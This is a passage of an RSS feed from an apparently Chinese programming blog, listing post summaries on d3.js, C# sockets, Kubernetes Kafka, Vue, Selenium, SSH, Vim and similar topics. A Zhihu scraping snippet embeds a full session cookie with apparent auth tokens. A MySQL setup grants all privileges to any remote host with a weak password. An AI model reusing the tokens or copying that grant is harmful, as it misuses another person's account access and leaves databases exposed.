type) values(30, 20, 20); insert into tb_user_finance (uid, money, type) values(30, 10, 20); insert into tb_user_finance (uid, money, type) values(31, 10, 20); insert into tb_user_finance (uid, money, type) values(32, 20, 20); insert into tb_user_finance (uid, money, type) values(33, 45, 20); insert into tb_user_finance (uid, money, type) values(34, 100, 20); insert into tb_user_finance (uid, money, type) values(35, 1000, 20); insert into tb_user_finance (uid, money, type) values(36, 1090, 20); 答案：</description>
    </item>
    <item>
      <title>d3.js学习笔记（2）使用比例尺和坐标轴绘制网格线</title>
      <link>https://bchobby.github.io/posts/5aa24f97b9354e2521e747bef9d55d86/</link>
      <pubDate>Wed, 05 Dec 2018 16:45:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5aa24f97b9354e2521e747bef9d55d86/</guid>
      <description>参考&#xA;https://bl.ocks.org/mbostock/db6b4335bf1662b413e7968910104f0f&#xA;实现了网格线&#xA;他的思路是把d3中坐标轴的标记线延长到覆盖整个绘图区域，也就是修改ticks()，我觉得这样很巧妙&#xA;在我读过的各篇文章里，关于d3坐标轴的ticks()大都语焉不详&#xA;首先坐标轴要对应一个比例尺d3.scale()，比例尺包含了domain()和range()，其中domain对应的是原始数据，就是要分析的数据，range()对应的是屏幕显示的数据，也就是像素。scale比例尺负责把原始数据映射到屏幕上，或者可以理解为domain是定义域，range是值域&#xA;坐标轴仅显示比例尺中的range()，超出range()的部分是不显示的，也就是不包含在坐标轴里的&#xA;然后ticks()是设定整个坐标轴上到底要有几个标记，而不是标记之间的间隔，标记上显示的文字是比例尺的domain()值&#xA;通过设定tickSize()使其覆盖整个显示区域就可以用ticks绘制成网格线。在参考案例中还提供了透明度选项，可以避免网格线影响实际数据的呈现&#xA;因为这是vue单文件组件内的函数，所以this对应的是上下文组件，其中的数据都是在data中定义的&#xA;drawAxises () { this.axises.x = d3.axisBottom().scale(this.axises.xScale) this.axises.y = d3.axisRight().scale(this.axises.yScale) this.axises.x.ticks((this.width + 2) / (this.height + 2) * 10) .tickSize(this.height) .tickPadding(8 - this.height) this.axises.y.ticks((this.width + 2) / (this.height + 2) * 10) .tickSize(this.width) .tickPadding(8 - this.width) this.axises.xContainer = this.axises.node.append(&#39;g&#39;) this.axises.xContainer.attr(&#39;id&#39;, &#39;xaxis&#39;).classed(&#39;axis&#39;, true).style(&#39;font-size&#39;, &#39;20px&#39;) this.axises.xContainer.call(this.axises.x) // this.axises.x(this.axises.xContainer) this.axises.yContainer = this.axises.node.append(&#39;g&#39;) this.axises.yContainer.attr(&#39;id&#39;, &#39;yaxis&#39;).classed(&#39;axis&#39;, true).style(&#39;font-size&#39;, &#39;20px&#39;) this.axises.yContainer.call(this.axises.y) // this.axises.y(this.axises.yContainer) }, 参考里还提供了用渐变svg图作为背景图片，不过我在vue中无论如何也无法插入，实现不了，如果有谁能实现，请留言，不胜感激</description>
    </item>
    <item>
      <title>C#实战027:socket实现大文件传输</title>
      <link>https://bchobby.github.io/posts/e966c84902b94393b7ed28125fbbe889/</link>
      <pubDate>Tue, 04 Dec 2018 19:37:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e966c84902b94393b7ed28125fbbe889/</guid>
      <description>前面写了一个单文件传输的，后来发现当传送的文件大于设置的缓存空间时，文件就会出现丢包的现象，导致文件无法使用，所以为了适应大文件的传输，这里我将代码进行了下修改，实现大文件传输。&#xA;不过socket实现大文件传输有个缺点，由于传输过程是通过字节缓存发送，接受也是读写字节，导致整个传输过程效率不高，我尝试了一个169MB的视频文件传输，虽然传完了，但是耗时将近1小时。&#xA;因为计算机缓存有限，所以不可能开启太大的缓存来缓存数据的，所以当我们要发送文件较大的文件时我们就要进行分段处理，分段读取，分段发送保存。大家可以看到我们的两个窗口都是同步的，一遍在读取中，一遍就在写入中。如此反复的使用同一块缓存进行数据传递。&#xA;首先我们先进行循环读取文件信息，这里有个重要的就是做好标记，之前写 C#实战026:socket实现单文件传输时就有提到，通过在第一个字节做标记来区分我们传送的信息是什么信息，这个规则自己定义，只要客户端和服务端同步即可&#xA;这里我们把0定义成信息发送，1定义成文件发送，2定义成文件头信息发送&#xA;首先我们先需要把我们要发送的文件信息抛给服务器，这里主要需要文件的文件名和文件大小，这里我们只要在用文件流读取文件的时候将这些数据提取出来即可：&#xA;//1. 第一步：发送一个文件，表示文件名和长度，让客户端知道文件大小 string fileName = Path.GetFileName(filePath);//提取文件名 Console.WriteLine(&#34;发送的文件名是：&#34; + fileName);//查看获取文件名是否正确 long fileLength = fsRead.Length;//获取文件长度 Console.WriteLine(&#34;发送的文件长度为：&#34;+fileLength);//查看文件长度是否正确 string totalMsg = string.Format(&#34;{0}-{1}&#34;, fileName, fileLength);//将文件名和文件长度存入一条数据中 byte[] buffer = Encoding.UTF8.GetBytes(totalMsg); //将字符串转换成字节数组 byte[] newBuffer = new byte[buffer.Length + 1];//新建字节数组，增加一个字节空间 newBuffer[0] = 2;//将第一个字节标记成2，代表为文件头信息 Buffer.BlockCopy(buffer, 0, newBuffer, 1, buffer.Length);//偏移复制字节数组 socketClient.Send(newBuffer);//发送文件文件名和长度发过去 既然是循环写入，我们就要记录当前文件的数据大小和已读取的数据信息，这样循环才有终点，定义一个5M缓存区。&#xA;byte[] Filebuffer = new byte[1024 * 1024 * 5];//定义5MB的缓存空间（1024字节(b)=1千字节(kb)） int readLength = 0; //定义读取的长度 bool firstRead = true;//定义首次读取的状态 long sentFileLength = 0;//定义发送的长度 接下里解释对文件进行分包发送了，这里唯一要注意的就是第一次发送的时候要为文件价格标记，也就是第一个数据包前加标记，这样服务端才好去识别该数据是什么数据，然后做对应的处理。</description>
    </item>
    <item>
      <title>HUSTOJ分布式在多台虚拟机上部署判题机</title>
      <link>https://bchobby.github.io/posts/92b2d6082a5fceaa554a4f01c647360e/</link>
      <pubDate>Tue, 04 Dec 2018 14:19:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92b2d6082a5fceaa554a4f01c647360e/</guid>
      <description>实现分布式其实就是通过部署多个oj在不同虚拟机上，让多个判题机同时访问一个数据库。&#xA;所以就需要一个oj（A oj）贡献它的数据库让其他judger轮！！&#xA;在A oj 上，进入mysql，执行如下命令，赋予judge远程访问jol数据库的权限，并且设置密码为judge_pass&#xA;GRANT ALL PRIVILEGES ON jol.* TO &#39;judge&#39;@&#39;%&#39; IDENTIFIED BY &#39;judge_pass&#39; WITH GRANT OPTION; flush privileges; 并且检查/etc/mysql/my.cnf 确保&#xA;bind-address = 0.0.0.0max_connections = 512&#xA;然后我们再 B 、C、D.....oj上 ，配置judge.conf&#xA;vim /home/judge/etc/judge.conf 实际情况修改前三个就行了 。分别时 Aoj 的ip 和MySQL远程连接的账户和密码，后面OJ_HTTP_USERNAME默认时IP，&#xA;如果不想ip暴露在状态页可以随便起名&#xA;修改完成后我们要将A oj的测试数据传到B、C。。。oj上&#xA;这里要确保两台虚拟机上都装了ssh&#xA;如果不确定可以 执行如下命令查看是否有ssh&#xA;没有的话，就执行 如下命令安装ssh&#xA;sudo apt-get install openssh-server 安装完后启动&#xA;service ssh start 接下来有4种方式课选，将Aoj的数据复制到其他oj上&#xA;可以在Aoj上执行如下命令任一条&#xA;scp -r /home/judge/data root@判题机ip:/home/judge/ 或用同步命令。 rsync -vzrtopg --progress --delete /home/judge/data root@判题机ip:/home/judge/ 或在B、C。。。oj上执行下面任意一条</description>
    </item>
    <item>
      <title>Kubernetes编排Kafka Docker镜像l的方式搭建集群</title>
      <link>https://bchobby.github.io/posts/3dc819a2a5b4c53ba6a74f5e12b694ce/</link>
      <pubDate>Tue, 04 Dec 2018 11:30:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3dc819a2a5b4c53ba6a74f5e12b694ce/</guid>
      <description>本文基于已经安装了k8s和docker的情况下进行的&#xA;k8s 编排kafk容器可以有statefulset和deployment两种方式。分别是有状态和无状态的，具体区别可以百度一下，这里只介绍集群搭建的方法。&#xA;需要先准备若干yml配置文件（文件名自己定义，不固定），上传到linux机器的任意文件夹里（比如home下面自己创建一个k8skafka文件夹）&#xA;第一种：statefulset集群编排&#xA;1.PV.yml用于创建statefulset所需要的持久卷pod，&#xA;apiVersion: v1&#xA;kind: PersistentVolume&#xA;metadata:&#xA;name: kafkapv1&#xA;annotations:&#xA;volume.beta.kubernetes.io/storage-class: &#34;anything&#34;&#xA;labels: pv: kafkapv&#xA;spec:&#xA;capacity:&#xA;storage: 10Gi&#xA;accessModes:&#xA;- ReadWriteOnce&#xA;persistentVolumeReclaimPolicy: Recycle&#xA;# storageClassName: &#34;&#34;&#xA;hostPath:&#xA;path: /opt/pv/kafka1&#xA;---&#xA;apiVersion: v1&#xA;kind: PersistentVolume&#xA;metadata:&#xA;name: kafkapv2&#xA;annotations:&#xA;volume.beta.kubernetes.io/storage-class: &#34;anything&#34;&#xA;labels:&#xA;pv: kafkapv&#xA;spec:&#xA;capacity:&#xA;storage: 10Gi&#xA;accessModes:&#xA;- ReadWriteOnce&#xA;persistentVolumeReclaimPolicy: Recycle&#xA;# storageClassName: &#34;&#34;&#xA;hostPath:&#xA;path: /opt/pv/kafka2&#xA;---&#xA;apiVersion: v1&#xA;kind: PersistentVolume&#xA;metadata:</description>
    </item>
    <item>
      <title>Vue tree 懒加载(结合联动情况)</title>
      <link>https://bchobby.github.io/posts/7e1086ed0951057ef4cbca6831d6cc92/</link>
      <pubDate>Tue, 04 Dec 2018 09:41:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e1086ed0951057ef4cbca6831d6cc92/</guid>
      <description> 一、官方实例 由于在点击节点时才进行该层数据的获取，默认情况下 Tree&#xA;无法预知某个节点是否为叶子节点，所以会为每个节点添加一个下拉按钮，如果节点没有下层数据，则点击后下拉按钮会消失。同时，你也可以提前告知&#xA;Tree 某个节点是否为叶子节点，从而避免在叶子节点前渲染下拉按钮。&#xA;代码实例&#xA;&amp;lt;el-tree :props=&#34;props1&#34; :load=&#34;loadNode1&#34; lazy show-checkbox&amp;gt; &amp;lt;/el-tree&amp;gt; 一定要设置lazy属性，并且在点击展开的时候调用load对应的方法&#xA;展示一级菜单可以采用两种形式:&#xA;使用data属性:data=“directories.dataList”，这种方式适合联动处理，比如选择一个下拉框然后才展示一级菜单。在load方法中获取。 1.1、data属性加载 if(node.level===0){ return resolve(this.directories.dataList); } 在联动的情况下，在符合条件，并且要取tree数据的情况，给directories.dataList赋值，tree自动回加载一级菜单，然后再load方法中加上上面的代码进行兼容。&#xA;1.2、load方法加载 if(node.level===0){ return getFirstDirectoriesData(node, resolve); }else{ this.getNextDirectoriesData(node, resolve); } 这个适合非联动情况。&#xA;第一次加载的时候调用getFirstDirectoriesData获取数据。&#xA;下面每次加载的时候调用getNextDirectoriesData获取数据。&#xA;获取数据大致是这样 this.$axios.post(url, self.directories.nextSearchCondition).then((res) =&amp;gt; { res = res.data; if(res.success){ return resolve(res.data.directories); }else{ self.$message.error(res.message); return resolve([]); } },(res)=&amp;gt;{ self.showInternalError(res); return resolve([]); }); </description>
    </item>
    <item>
      <title>Selenium</title>
      <link>https://bchobby.github.io/posts/c49dfb55f06bb406e2c5ca786f557d38/</link>
      <pubDate>Tue, 04 Dec 2018 08:38:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c49dfb55f06bb406e2c5ca786f557d38/</guid>
      <description>WebDriverWait&#xA;https://blog.csdn.net/duzilonglove/article/details/78455051&#xA;坐标移动&#xA;//移动到元素element对象的“顶端”与当前窗口的“顶部”对齐&#xA;((JavascriptExecutor) driver).executeScript(&#34;arguments[0].scrollIntoView();&#34;, element);&#xA;((JavascriptExecutor) driver).executeScript(&#34;arguments[0].scrollIntoView(true);&#34;, element);&#xA;//移动到元素element对象的“底端”与当前窗口的“底部”对齐&#xA;((JavascriptExecutor) driver).executeScript(&#34;arguments[0].scrollIntoView(false);&#34;, element);&#xA;//移动到页面最底部&#xA;((JavascriptExecutor) driver).executeScript(&#34;window.scrollTo(0, document.body.scrollHeight)&#34;);&#xA;//移动到指定的坐标(相对当前的坐标移动)&#xA;((JavascriptExecutor) driver).executeScript(&#34;window.scrollBy(0, 700)&#34;);&#xA;Thread.sleep(3000);&#xA;//结合上面的scrollBy语句，相当于移动到700+800=1600像素位置&#xA;((JavascriptExecutor) driver).executeScript(&#34;window.scrollBy(0, 800)&#34;);&#xA;//移动到窗口绝对位置坐标，如下移动到纵坐标1600像素位置&#xA;((JavascriptExecutor) driver).executeScript(&#34;window.scrollTo(0, 1600)&#34;);&#xA;Thread.sleep(3000);&#xA;//结合上面的scrollTo语句，仍然移动到纵坐标1200像素位置&#xA;((JavascriptExecutor) driver).executeScript(&#34;window.scrollTo(0, 1200)&#34;);</description>
    </item>
    <item>
      <title>unittest单元测试笔记</title>
      <link>https://bchobby.github.io/posts/bca8b177183be716e76f4ac6da604966/</link>
      <pubDate>Sun, 02 Dec 2018 22:21:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bca8b177183be716e76f4ac6da604966/</guid>
      <description>单元测试&#xA;unittest单元测试是基于java的JUnit思想框架开发出来的测试框架&#xA;import unittest import HTMLTestRunner class Mytest1(unittest.TestCase): def test_a(self):#用例必须已test开头 self.assertEqual(1,1,msg=&#39;错误提示信息,如果校验失败,出现这个&#39;) print(&#39;a&#39;) def test_c(self): self.assertEqual(1,2,msg=&#39;失败&#39;)#如果校验结果不正确,不会执行后面的代码 print(&#39;c&#39;)#这条代码不会执行 def test_z(self):#函数执行优先级:按照函数的首字母顺序依次执行A-Z-a-z self.assertEqual(4,4) print(&#39;z&#39;) def test_G(self): self.assertEqual(3,3) print(&#39;G&#39;) #unittest.main()#运行所有函数 #unittest.defaultTestLoader.discover()#可以指定一个文件夹,在指定目录下找到测试用例 f = open(&#39;a.html&#39;,&#39;wb&#39;)#创建文件 runner = HTMLTestRunner.HTMLTestRunner(f,title=&#39;rainbol_test&#39;,description=&#39;这是一个接口测试用例&#39;)#实例化用例报告,并传入文件,title标题,description描述 suite = unittest.makeSuite(Mytest1)#把要生成报告的类变成一个测试集合, runner.run(suite)#运行测试用例 import BeautifulReport #美化报告 class Mytest2(unittest.TestCase): def test_a(self): &#39;&#39;&#39;test_a用例&#39;&#39;&#39;#添加用例描述,可以在测试报告中显示 self.assertEqual(1,1,msg=&#39;错误提示信息,如果校验失败,出现这个&#39;) def test_c(self): &#39;&#39;&#39;test_c用例&#39;&#39;&#39; self.assertEqual(1,2,msg=&#39;失败&#39;) print(&#39;c&#39;) def test_z(self): &#39;&#39;&#39;test_z用例&#39;&#39;&#39; self.assertEqual(4,4) print(&#39;z&#39;) new_suite= unittest.makeSuite(Mytest2) report = BeautifulReport.BeautifulReport(new_suite) report.report(filename=&#39;new_report.html&#39;,description=&#39;这个是新接口测试报告&#39;) class Mytest3(unittest.TestCase): def setUp(self):#每条用例前执行,比如检测接口连接是否正常 print(&#39;setUp&#39;) def tearDown(self):#每条用例后执行,比如清理缓存,cookie,redis的信息 print(&#39;tearDown&#39;)</description>
    </item>
    <item>
      <title>SSH登录慢的解决方案（例如等待很久才提示输入密码）</title>
      <link>https://bchobby.github.io/posts/807c2928ba724b9a5debb545db2b192b/</link>
      <pubDate>Sun, 02 Dec 2018 11:41:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/807c2928ba724b9a5debb545db2b192b/</guid>
      <description>安装linux系统后我们经常会遇到的一个情况是telnet到server速度很快，但是ssh连接的时候却很慢，大概要等半分钟甚至更久。ping的速度也非常好，让人误以为是ssh连接不上。&#xA;本人在得到公司分配的服务器A后就遇到了这样的问题，具体现象如下：&#xA;1、ping服务器A反馈时延正常。&#xA;2、使用ssh连接服务器A要等待10秒后才显示连接对话框。&#xA;3、在服务器A上使用route命令查看路由要等待10秒后才显示路由内容。&#xA;4、对外进行https访问时，DNS解析或要等待10秒后才能进行正常的http访问。&#xA;在网上查了大量的资料得知可能是由于DNS解析的问题导致的，具体为server的sshd会去DNS查找访问client IP的hostname，如果DNS不可用或者没有相关记录，就会耗费大量时间。&#xA;正常情况下默认配置下 sshd 初次接受 ssh 客户端连接的时候会自动反向解析客户端 IP 以得到 ssh 客户端的域名或主机名。如果这个时候 DNS 的反向解析不正确，sshd 就会等到 DNS 解析超时后才提供 ssh 连接，这样就造成连接时间过长、ssh 客户端等待的情况，一般为10-30秒左右。有个简单的解决办法就是在 sshd 的配置文件（sshd_config）里取消 sshd 的反向 DNS 解析。&#xA;# vi /etc/ssh/sshd_config UseDNS no # systemctl restart sshd&#xA;如果没有这种配置项，可以直接把DNS服务禁掉，如下：&#xA;# cat /etc/resolv.conf&#xA;# Generated by NetworkManager&#xA;#search openstacklocal&#xA;#nameserver xxxx.xxxx.xxxx.xxxx&#xA;#nameserver xxxx.xxxx.xxxx.xxxx&#xA;也可以在server上/etc/hosts文件中把你本机的ip和hostname加入。另外在authentication gssapi-with-mic也有可能出现问题，在server上/etc/ssh/sshd_config文件中修改GSSAPIAuthentication no。修改server上/etc/nsswitch.conf中hosts为hosts： files。reboot server使配置生效&#xA;对于nsswitch.conf这个文件需要单独解释下。一般情况下里面默认会这么写：hosts： files dns。这行的含义是对于访问的主机进行域名解析的顺序，是先访问file，也就是/etc/hosts文件，如果hosts中没有记录域名，则访问dns，进行域名解析，如果dns也无法访问，就会等待访问超时后返回，因此等待时间比较长。那如果将这一行屏蔽掉是不是也可以达到同样的效果呢？应该是可以的，但是如果本机要通过域名访问其他服务器，则肯定无法访问，因此这行应该需要保留。这个问题也提示我们，dns如果不可用，会带来的一些副作用的。&#xA;解决方案总结：&#xA;1、在server上/etc/hosts文件中把你本机的ip和hostname加入；&#xA;2、在server上/etc/ssh/sshd_config文件中修改或加入UseDNS=no；&#xA;3、注释掉server上/etc/resolv.conf中所有行或清空；&#xA;4、修改server上/etc/nsswitch.conf中hosts为hosts: files。&#xA;方案1、2、3为较为常用，一般情况下不太会对系统产生影响，4因为涉及DNS的使用故此建议在1、2、3方法均不可用的情况下再使用。</description>
    </item>
    <item>
      <title>线段树专题</title>
      <link>https://bchobby.github.io/posts/c8d1a3df25cd16cd732e9c4a18392af8/</link>
      <pubDate>Sat, 01 Dec 2018 21:27:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8d1a3df25cd16cd732e9c4a18392af8/</guid>
      <description> 单点修改区间求和 区间修改区间求和 区间修改区间最大 区间加乘区间最大 </description>
    </item>
    <item>
      <title>VIM使用教程</title>
      <link>https://bchobby.github.io/posts/ee203196bd460b2cb70ceb553aace5f6/</link>
      <pubDate>Fri, 30 Nov 2018 23:06:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee203196bd460b2cb70ceb553aace5f6/</guid>
      <description>文章目录 一、什么是VIM二、VIM入门三、常用命令介绍1. 移动2. 选择3. 复制4. 粘贴5. 删除（剪切）6. 撤销7. 恢复8. 查找9. 替换（修改）10. 缩进11. 标记12. 查看历史13. 进入插入模式14. 进入底行模式15. 其他tips 一、什么是VIM 在说vim之前，先说下什么是vi。vi是visual interface的简称，是Linux中最经典的文本编辑器。vi的核心设计思想是：让程序员的手始终保持在键盘的核心区域就能够完成所有的编辑操作。而Vim又是从 vi 发展出来的一个文本编辑器，即vi improved,它在代码补全、编译及错误跳转等方便编程的功能上特别丰富，在程序员中被广泛使用。&#xA;为方便理解，也给出上图的英文版&#xA;从这张图就可以看出，vim的命令繁多，不过灵活使用后将会大大提高效率。对于新手可先不必理会上图，下文会把常用的使用方法一一道来，助你入门。&#xA;二、VIM入门 首先你要明白的一点是，VIM有3种主要的工作模式：&#xA;命令模式(Command mode)&#xA;用户启动vim时，首先进入的便是命令模式。命令模式可认为是vim的入口，此模式下敲击键盘的字符都会被当做命令，而非在文本中插入字符。比如，我想打出我的名字kevin，我敲下键盘上的 k k k键，屏幕上并不会显示出 k k k字符，事实上，屏幕上什么反应也没有。这时候，不要怀疑电脑坏了，而是你并没有进入插入模式，暂时还不能进行插入的操作。那命令模式下都有哪些命令呢？诸如移动、选择、复制、粘贴、删除、查找、替换、缩进、撤销、恢复、定位、翻页……都是在命令模式下完成的。关于这些命令后面还会介绍，这里大家先掌握进入插入模式的命令之一：i。当在命令模式下输入i后，便进入了插入模式，然后就可以正常地编辑文字了。插入模式(Insert mode)&#xA;此模式下可以正常地编辑文字，与平时使用习惯差别不大。底行模式(Last line mode)&#xA;此模式下可以执行保存、退出以及其他的一些功能。按下Shift+:即可进入底行模式。输入wq为保存退出，输入q!为不保存退出。 此外，还有其他一些模式，如可视模式（Visual）、替换模式（Replace）等，将会在下文进行介绍。&#xA;三、常用命令介绍 1. 移动 方位移动&#xA;h:光标左移一格&#xA;j:光标下移一格&#xA;k:光标上移一格&#xA;l:光标右移一格&#xA;当然，关于上下左右的移动使用方向键也是允许的。行内移动&#xA;0:光标移至行首&#xA;$:光标移至行尾&#xA;^:光标移到当前行的第一个非空字符&#xA;g_:光标移到当前行的最后一个非空字符&#xA;b:光标到上一个字的开头&#xA;w:光标到下一个字的开头&#xA;e:光标移到下一个字的结尾&#xA;ge:光标移到上一个字的结尾&#xA;fa:移到下一个a出现的位置(&#39;F’与之相反)&#xA;ta:移到下一个a出现位置的前一个位置（‘T’与之相反）行间移动&#xA;G:光标移至文末&#xA;gg:光标移至开头&#xA;Ngg或NG:光标移至N行开头语义移动&#xA;(:光标移至上一句首&#xA;):光标移至下一句首&#xA;{:光标移至段首&#xA;}:光标移至段尾屏幕移动&#xA;H:将光标移到屏幕的最顶行</description>
    </item>
    <item>
      <title>爬取知乎热榜查看热度</title>
      <link>https://bchobby.github.io/posts/d67a73cbdea0dea66b88dfc2fd7e814a/</link>
      <pubDate>Fri, 30 Nov 2018 15:18:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d67a73cbdea0dea66b88dfc2fd7e814a/</guid>
      <description>import requests&#xA;from bs4 import BeautifulSoup&#xA;headers = {&#xA;&#39;cookie&#39;: &#39;l_n_c=1; q_c1=53034a3f0f514d0f938d2abb4ef4c40a|1543457812000|1543457812000; _xsrf=02cc66747d2794664e1b0a4482b23c4b; n_c=1; d_c0=&#34;ANChDPljlw6PTnVZzzoSTjhGb06X2kSFBH0=|1543457814&#34;; _xsrf=oL0XsM0vxNY9rSPgS9XhS2mwZXEVIbkw; _zap=2ba9ae00-8fc4-424b-b0f1-04a4d0ca551a; __utmc=51854390; __utmz=51854390.1543457815.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=51854390.000--|3=entry_date=20181128=1; __utma=51854390.1640548042.1543457815.1543457815.1543481275.2; l_cap_id=&#34;OTIwODAxMTFjYzUwNDY0ZjkwZDA3YTc5MzQ4MjMzNjM=|1543482775|d517a90435b8e80e591b4aa7d2e453bec5c8f85b&#34;; r_cap_id=&#34;YzQ2M2ZjODRlZDJjNDFkY2FmZWI0NzBhOWRmNzUwNTI=|1543482775|049d6cbae1f611a8c7d6794a4513aeee71019e86&#34;; cap_id=&#34;NDYzODk2MjE1NjdlNGJjNmFjNTU0ZGM2ZmNhZmRiNTc=|1543482775|90ce66a3790977d948794b2515492d3cb6fc5984&#34;; tgw_l7_route=29b95235203ffc15742abb84032d7e75; capsion_ticket=&#34;2|1:0|10:1543558349|14:capsion_ticket|44:MDNjNGRiNTQxNTgzNGI0ZmI4ZjY1MjAxMWM2OWQzNGQ=|12de9ab789bd31818cb5ead3d804d3e6a549b1e1e057761cae503036a4d36a96&#34;; z_c0=&#34;2|1:0|10:1543558362|4:z_c0|92:Mi4xa0tBaURRQUFBQUFBMEtFTS1XT1hEaVlBQUFCZ0FsVk4yaUx1WEFDUTBsZGdJeGZZSXlOVXhPZG5wZnBkZTRuVWdR|89dd9d24561fb32c119eccb8e6577224486893a8e357bca10e0c1f721355f8c9&#34;; tst=h; __gads=ID=ba9a29eca6fca2d0:T=1543558671:S=ALNI_MZ4glJtx3a90tkC9gFG1rIowv4lfQ&#39;,&#xA;&#39;User-Agent&#39;: &#39;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36&#39;&#xA;}&#xA;proxies = {&#xA;}&#xA;r = requests.get(&#39;https://www.zhihu.com/hot&#39;,headers=headers,proxies=proxies)&#xA;soup = BeautifulSoup(r.text,&#39;lxml&#39;)&#xA;# print(soup.prettify())&#xA;i=1&#xA;for title in soup.find_all(attrs={&#39;class&#39;:&#39;HotItem-content&#39;}):&#xA;print(&#39;Number &#39;+str(i))&#xA;print(title.a.h2.string)&#xA;if title.a.p :&#xA;print(title.a.p.string)&#xA;print(list(enumerate(title.div))[1])&#xA;i=i+1&#xA;print(&#39;-------------------------------------------&#39;)</description>
    </item>
    <item>
      <title>Mac如何共享wifi热点</title>
      <link>https://bchobby.github.io/posts/cb604d057c054462e9dd898ccf153f05/</link>
      <pubDate>Fri, 30 Nov 2018 09:59:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb604d057c054462e9dd898ccf153f05/</guid>
      <description>共享热点 Mac 如何共享 wifi 热点，以供其他设备使用，比如手机端。&#xA;一、打开共享设置 打开 系统偏好设置，点击 共享&#xA;二、设置共享来源 1、点击 互联网共享（先不要勾选），设置右边选项。如下图：&#xA;2、设置完成之后点击 Wi-Fi选项，进入下一步设置。&#xA;三、设置 Wi-Fi选项 设置 wifi 密码 等。如下图&#xA;四、启动互联网共享 设置完成后，勾选 互联网共享，以确定启动。&#xA;五、手机连接 用手机连接 Mac 共享的 WiFi，找到网络（名字是你的电脑名），输入刚才设置的密码即可。&#xA;六、注意事项 Mac 共享热点支持有线连接、蓝牙连接的网络进行共享。&#xA;如果你的 Mac 本身是通过 wifi 来连接上网的，那就不能用这个 mac 做 wifi 热点了，因为 wifi 端口已经被占用。</description>
    </item>
    <item>
      <title>爬虫之re模块</title>
      <link>https://bchobby.github.io/posts/9a26e2178ca475f7d003d20ba6b9df2c/</link>
      <pubDate>Thu, 29 Nov 2018 20:48:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a26e2178ca475f7d003d20ba6b9df2c/</guid>
      <description>re模块&#xA;https://www.cnblogs.com/liuzhongchao/p/8351449.html&#xA;pycharm一件转换&#xA;https://www.jianshu.com/p/7e55c0eb0d0f&#xA;https://curl.trillworks.com/</description>
    </item>
    <item>
      <title>Madagascar安装步骤</title>
      <link>https://bchobby.github.io/posts/ae0dd36c7c81a8ba5bd31d71abb499b4/</link>
      <pubDate>Thu, 29 Nov 2018 20:23:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae0dd36c7c81a8ba5bd31d71abb499b4/</guid>
      <description>From jlq: https://www.cnblogs.com/jianglq/p/4820259.html&#xA;@[TOC] Madagascar安装步骤&#xA;环境：linux 我用的是 ubuntu 15.04&#xA;步骤：&#xA;1 . 源码下载，两种方式：&#xA;1）到 http://sourceforge.net/projects/rsf/files/madagascar/ 下载最新版本的 madagascar 压缩包：madagascar-*.*.tar.gz，然后用tar -xzvf 的方式解压。 2）直接用命令下载： svn co https://rsf.svn.sourceforge.net/svnroot/rsf/trunk /usr/rsf&#xA;其中 /usr/rsf 是你存放Madagascar原代码的路径（目录）。 这两种方式各有优点，第一种方式下载速度较快些，第二种方式的优点一是代码都比较新，二是以后更新会更方便一些（直接在路径内输入 svn update 即可） 2 . 安装依赖&#xA;参考 http://www.ahay.org/wiki/Advanced_Installation#Ubuntu ubuntu15.04下可输入： sudo apt-get install libxaw7-dev freeglut3-dev libnetpbm10-dev libgd-dev libplplot-dev libavcodec-dev libcairo2-dev libjpeg-dev swig python-dev python-numpy g++ gfortran libopenmpi-dev libfftw3-dev libsuitesparse-dev python-epydoc&#xA;其他版本基本都可从网页中找到解决办法。 3 . 安装前配置&#xA;转到保存代码的头目录下（如 /usr/rsf/madagascar-*.*） ./configure --prefix=/完整的安装路径&#xA;建立c++,fortran90等链接（前提是这些选项已在系统中存在）:&#xA;./configure API=c++,f90 --prefix=/完整安装路径</description>
    </item>
    <item>
      <title>Ubuntu18.04安装Google浏览器和ChromeDriver</title>
      <link>https://bchobby.github.io/posts/5f80f7ca0b9c3e5edd7030ae0dbda6a4/</link>
      <pubDate>Thu, 29 Nov 2018 16:28:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f80f7ca0b9c3e5edd7030ae0dbda6a4/</guid>
      <description>安装GoogleChrome&#xA;cd /tmp&#xA;wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb&#xA;sudo dpkg -i google-chrome*&#xA;sudo apt-get -f install&#xA;安装ChromeDriver&#xA;点击Chrome菜单“帮助”--&amp;gt;关于“Google Chrome”查看Chrome版本号&#xA;打开ChromeDriver官方网站，选择对应版本下载&#xA;http://chromedriver.chromium.org/&#xA;Linux下，需要将可执行文件配置到环境变量或将文件移动到属于环境变量的目录里（此处采用后者）&#xA;由于python3.6在/usr/bin目录下：&#xA;首先在命令行模式下进入其所在路经，然后移动&#xA;sudo mv chromedriver /usr/bin&#xA;最后，在终端输入chromedriver验证即可。</description>
    </item>
    <item>
      <title>Ubuntu18.04安装Mysql没有提示设置密码</title>
      <link>https://bchobby.github.io/posts/f14aecd3e85e5d7e5ac69850455d9bec/</link>
      <pubDate>Thu, 29 Nov 2018 16:28:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f14aecd3e85e5d7e5ac69850455d9bec/</guid>
